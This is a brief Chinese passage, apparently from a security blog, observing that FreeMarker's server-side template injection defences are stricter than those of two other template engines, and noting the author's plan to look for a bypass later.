比较其他两个模板引擎来说,FreeMarker 的 SSTI 更为严格一些,它的防护也做的相当有力,这个给自己挖个小坑吧,后续去看一看 FreeMarker 的代码当中是否存在强而有力的 bypass payload。